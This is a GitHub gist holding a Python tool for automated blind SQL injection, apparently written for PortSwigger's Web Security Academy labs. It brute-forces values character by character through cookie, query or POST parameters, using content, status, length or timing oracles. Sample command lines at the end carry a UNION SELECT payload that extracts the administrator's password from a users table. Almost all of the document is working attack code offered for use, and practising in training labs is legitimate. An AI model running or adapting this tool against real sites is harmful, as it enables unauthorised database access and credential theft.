Last active
February 25, 2021 23:20
-
-
Save 3lpsy/1497a19d518404034dc3e2ea17e7e588 to your computer and use it in GitHub Desktop.
Scuffed Blind SQL Injection for Burp's Web Sec Academy
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from pathlib import Path | |
from urllib.parse import quote, urlencode | |
import argparse | |
from string import ascii_lowercase, printable, ascii_uppercase | |
import os | |
from urllib3.exceptions import InsecureRequestWarning | |
# This actually a pretty bad implementation. I wrote it in about an hour and then | |
# weaseled in features as needed | |
# Improvements: | |
# Support more auxiliary data (form, query, additional cookies, headers) | |
# Support other method types | |
# Binary search (requires more intelligence than just a template) | |
# Important Notes: | |
# - Urlencoding of param/query data is disabled by default | |
# - There's a few character set options. This matters in context. | |
# - If a repeating character is found greater than 3 (default) it'll be stripped and | |
# the script will add that character to an exclusion list for the rest of the brute force | |
# - If extracting data, you probably want the -a option | |
# - If figuring things out, do a length(version()) varient and use the hundred charset (without -a) | |
# - Everything is whacky and done in a write once, never refactor style | |
# CHARSET= str(ascii_lowercase) + "".join([str(x.upper()) for x in str(ascii_lowercase)]) + "".join([str(x) for x in range(0,10)]) | |
NUM = "".join([str(x) for x in range(0, 10)]) | |
LOWER_AND_NUM = str(ascii_lowercase) + NUM | |
PRINTABLE = LOWER_AND_NUM + ascii_uppercase + '._-~,:;+' | |
PRINTABLE_EXT = PRINTABLE + '!"#$%&\'()*+/?@[\\]^`{|} ' | |
HUNDRED = [i for i in range(0,99)] | |
CHARSETS = { | |
"num": NUM, | |
"hundred": HUNDRED, | |
"lowernum": LOWER_AND_NUM, | |
"printable": PRINTABLE, | |
"printable_ext": PRINTABLE_EXT, | |
"printable_all": printable | |
} | |
DEBUG = False | |
PROXY_URL = "" | |
MATCH_CHOICES = ["contains", "status", "missing", "elapsed", "true_cl", "false_cl"] | |
LOC_CHOICES = ["query", "cookie", "param"] | |
CONTENT_TYPES = { | |
"form": "application/x-www-form-urlencoded", | |
"json": "application/json", | |
"xml": "text/xml" | |
} | |
def debug(msg): | |
global DEBUG | |
if DEBUG: | |
print(msg) | |
def _post(*args, **kwargs): | |
global PROXY_URL | |
if PROXY_URL: | |
kwargs["proxies"] = {"http": PROXY_URL, "https": PROXY_URL} | |
kwargs["verify"] = False | |
return requests.post(*args, **kwargs) | |
def _get(*args, **kwargs): | |
global PROXY_URL | |
if PROXY_URL: | |
kwargs["proxies"] = {"http": PROXY_URL, "https": PROXY_URL} | |
kwargs["verify"] = False | |
return requests.get(*args, **kwargs) | |
def paramify(url, name, payload, extra_queries=None): | |
extra_queries = extra_queries or [] | |
# bad | |
if "?" not in url: | |
url = url + "?" | |
param_str = "%s=%s" % (name, payload) | |
if url.endswith("?"): | |
url = url + param_str | |
else: | |
url = url + "&" + param_str | |
for extra in extra_queries: | |
param_str = "%s=%s" % (extra[0], extra[1]) | |
url = url + "&" + param_str | |
return url | |
def send(url, payload, name, location, extra_queries=None,extra_params=None, content_type=None): | |
content_type = content_type or CONTENT_TYPES["form"] | |
# TODO implement extra_queries | |
extra_params = extra_params or [] | |
cookies = {} | |
headers = {} | |
kwargs = {} | |
method = _get | |
if location.lower() == "cookie": | |
cookies[name] = payload | |
elif location.lower() == "query" and len(name) < 1: | |
url = url + "?" + payload | |
elif location.lower() == "query": | |
url = paramify(url, name, payload, extra_queries=extra_queries) | |
elif location.lower() == "param": | |
method = _post | |
extra_params.append([name, payload]) | |
params = {} | |
def dummy(val, *args, **kwargs): | |
return val | |
for p in extra_params: | |
params[p[0]] = p[1] | |
param_str = urlencode(params, quote_via=dummy) | |
kwargs["data"] = param_str | |
headers["Content-Type"] = content_type | |
kwargs["headers"] = headers | |
kwargs['cookies'] = cookies | |
return method(url, **kwargs) | |
def matches(match, match_type, r): | |
if match_type == "contains": | |
return match in str(r.text) | |
elif match_type == "status": | |
return r.status_code == int(match) | |
elif match_type == "missing": | |
return match not in str(r.text) | |
elif match_type == "elapsed": | |
return r.elapsed.total_seconds() >= int(match) and r.elapsed.total_seconds() < ( | |
3 * int(match) | |
) | |
elif match_type == "true_cl": | |
return int(r.headers["Content-Length"]) == int(match) | |
elif match_type == "false_cl": | |
return not int(r.headers["Content-Length"]) == int(match) | |
raise Exception(f"Invalid match type: {match_type}") | |
def run( | |
url, | |
sql, | |
name, | |
location, | |
match, | |
match_type, | |
max_loops, | |
append_char, | |
current="", | |
counter=1, | |
charset="lowernum", | |
charset_exclude="", | |
extra_chars="", | |
repeat_count=0, | |
max_repeat=3, | |
previous="", | |
extra_queries=None, | |
extra_params=None, | |
content_type=None | |
): | |
debug(f"[-] Iteration Start: {current}") | |
CHARSET = CHARSETS[charset] | |
if isinstance(CHARSET, list): | |
for x in extra_chars: | |
CHARSET.append(x) | |
else: | |
CHARSET = CHARSET + extra_chars | |
for c in CHARSET: | |
c = str(c) | |
if c in charset_exclude: | |
debug("[-] Skipping {c}") | |
continue | |
if append_char: | |
candidate = current + c | |
else: | |
candidate = c | |
debug(f"Candidate: {candidate}") | |
payload = sql.replace("INJECT", candidate) | |
payload = payload.replace("COUNTER", str(counter)) | |
debug(f"[-] Payload: {payload}") | |
if location == "query": | |
debug(f"[-] Url: {paramify(url, name, payload, extra_queries=extra_queries)}") | |
r = send(url, payload, name, location, extra_queries=extra_queries, extra_params=extra_params) | |
debug(f"[-] Status: {r.status_code}") | |
debug(f"[-] Length: {len(r.content)}") | |
debug(f"[-] Elapsed: {r.elapsed.total_seconds()}") | |
if match_type in ["true_cl", "false_cl"]: | |
debug(f"[-] Content-Length: {r.headers['Content-Length']}") | |
debug("") | |
if matches(match, match_type, r): | |
if c == previous: | |
repeat_count = repeat_count + 1 | |
else: | |
repeat_count = 0 | |
print(f"[*] Payload: {payload}") | |
current = current + c | |
counter = counter + 1 | |
print(f"[*] Found: {candidate}") | |
print(f"[*] Current: {current}") | |
debug("") | |
if repeat_count >= max_repeat: | |
print(f"[!] Max repetition encountered for {c}. Considering excluding via -C") | |
if c in charset_exclude: | |
print(f"[!] Trimming repetition failed. Exiting.") | |
return current | |
else: | |
print(f"[!] Adding {c} to exclusion list.") | |
charset_exclude = charset_exclude + c | |
old_len = len(current) | |
current = current.rstrip(c) | |
if not current: | |
print(f"[!] Current only contained dups. Quitting") | |
return current | |
print(f"[!] New current: {current}") | |
len_diff = old_len - len(current) | |
print(f"[!] Old Counter: {counter}") | |
print(f"[!] Counter Diff: {len_diff}") | |
counter = counter - len_diff | |
print(f"[!] New Counter: {counter}") | |
return run( | |
url, | |
sql, | |
name, | |
location, | |
match, | |
match_type, | |
max_loops, | |
append_char, | |
current=current, | |
counter=counter, | |
charset=charset, | |
charset_exclude=charset_exclude, | |
extra_chars=extra_chars, | |
repeat_count=repeat_count, | |
previous=c, | |
extra_queries=extra_queries, | |
extra_params=extra_params, | |
content_type=content_type | |
) | |
else: | |
print("[-] Exhausted charset") | |
return current | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser() | |
parser.add_argument( | |
"-s", | |
"--sql", | |
help="sql template with INJECT keyword and COUNTER keywords (can also be a file like --sql payload.txt)", | |
required=True, | |
) | |
parser.add_argument( | |
"-e", | |
"--urlencode", | |
action="store_true", | |
help="perform urlencoding of sql template (use with unencoded SQL templates, only the template is encoded)", | |
) | |
parser.add_argument("-m", "--match", help="oracle to match on", required=True) | |
parser.add_argument( | |
"-M", | |
"--match-type", | |
help="type to match on (very naive, no regex)", | |
default="contains", | |
choices=MATCH_CHOICES | |
) | |
# max loops doesn't do anything | |
parser.add_argument("--max-loops", default=20, type=int, help="oracle to match on") | |
parser.add_argument("-u", "--url", help="url", required=True) | |
parser.add_argument( | |
"-l", "--location", help="location type", choices=LOC_CHOICES, required=True | |
) | |
parser.add_argument("-n", "--name", help="location name", required=True) | |
parser.add_argument("-d", "--debug", action="store_true") | |
parser.add_argument("-c", "--charset", choices=list(CHARSETS.keys()), default="lowernum") | |
parser.add_argument("-C", "--charset-exclude", action="store", help="string of characters to eclude") | |
parser.add_argument("-t", "--content-type", action="store", help="content-type to use for param data") | |
parser.add_argument("--extra-chars", action="store", help="string of extra characters to include/append to charset") | |
parser.add_argument("-P", "--extra-param", action="append", nargs=2, help="extra k/v values to include in post. requires location type to be param. can be used multiple times like -p k v -p foo bar") | |
parser.add_argument("-Q", "--extra-query", action="append", nargs=2, help="extra k/v values to include in query values") | |
parser.add_argument( | |
"-a", | |
"--append-char", | |
action="store_true", | |
help="append char candidate to previously found value", | |
) | |
parser.add_argument("--max-repeat", default=3, help="prevent repetition of characters. increase if greater than 3") | |
parser.add_argument("-p", "--proxy-url") | |
args = parser.parse_args() | |
if args.debug: | |
DEBUG = True | |
if args.proxy_url: | |
PROXY_URL = args.proxy_url | |
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | |
sql = args.sql | |
if Path(sql).exists() and Path(sql).is_file(): | |
sql = Path(sql).read_text().strip() | |
if args.urlencode: | |
sql = quote(sql) | |
charset_exclude = args.charset_exclude or "" | |
extra_chars = args.extra_chars or "" | |
extra_params = args.extra_param or [] | |
extra_queries = args.extra_query or [] | |
if args.content_type: | |
if args.content_type in CONTENT_TYPES.keys(): | |
content_type = CONTENT_TYPES[args.content_type] | |
else: | |
content_type = args.content_type | |
else: | |
content_type = CONTENT_TYPES["form"] | |
print( | |
"Answer:", | |
run( | |
args.url, | |
sql, | |
args.name, | |
args.location, | |
args.match, | |
args.match_type, | |
args.max_loops, | |
args.append_char, | |
charset=args.charset, | |
charset_exclude=charset_exclude, | |
extra_chars=extra_chars, | |
max_repeat=args.max_repeat, | |
extra_params=extra_params, | |
extra_queries=extra_queries, | |
content_type=content_type | |
), | |
) | |
## python3 brute.py -s "x'+UNION+SELECT+'a'+FROM+users+WHERE+username%3d'administrator'+AND+substring(password,COUNTER,1)='INJECT'+--+-" -n SomeCookie -m 'Welcome' -l cookie -u https://sometarget.web-security-academy.net -d | |
## python3 brute.py -s "$SQL" -n SomeCookie -l cookie -u $URL -p http://127.0.0.1:8080 -M elapsed -m 5 -d | |
## python3 brute.py -s "$SQL" -n SomeCookie -l cookie -u $URL -p http://127.0.0.1:8080 -M status -m 500 -d |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment